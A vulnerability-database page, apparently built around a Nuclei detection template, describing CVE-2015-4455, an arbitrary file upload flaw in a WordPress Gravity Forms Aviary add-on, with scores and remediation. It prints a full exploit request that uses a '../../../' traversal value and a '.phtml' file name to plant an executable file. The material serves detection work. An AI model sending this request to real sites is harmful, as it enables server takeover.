🔙 목록으로 돌아가기

CVE-2015-4455: WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload

TitleWordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload
AuthorMaStErChO
SeverityCritical
ImpactRemote attackers can upload malicious files and execute arbitrary code on the server, leading to full system compromise.
RemediationImplement strict file validation and sanitization, restrict upload types, and update to the latest plugin version.
CVSS Score9.8
EPSS Score0.80327
CVE IDCVE-2015-4455
CWE IDCWE-434
Tags cve cve2015 packetstorm intrusive file-upload wordpress aviary_image_editor_add-on_for_gravity_forms_project vkev vuln

🔍 Vulnerability Description

Unrestricted file upload vulnerability in includes/upload.php in the Aviary Image Editor Add-on For Gravity Forms plugin 3.0 beta for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/gform_aviary.

🌐 HTTP Request

GET /?gf_page=upload HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /?gf_page=upload HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=a54906fe12c504cb01ca836d062f82fa
Accept-Encoding: gzip

--a54906fe12c504cb01ca836d062f82fa

Content-Disposition: form-data; name="field_id"



3

--a54906fe12c504cb01ca836d062f82fa

Content-Disposition: form-data; name="form_id"



1

--a54906fe12c504cb01ca836d062f82fa

Content-Disposition: form-data; name="gform_unique_id"



../../../

--a54906fe12c504cb01ca836d062f82fa

Content-Disposition: form-data; name="name"



scDKxyYt.phtml

--a54906fe12c504cb01ca836d062f82fa

Content-Disposition: form-data; name="file"; filename="scDKxyYt.jpg"

Content-Type: text/html



38FigTwfnXOkw2XuhHvVpTIucYp

--a54906fe12c504cb01ca836d062f82fa--

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-4455.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-4455.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A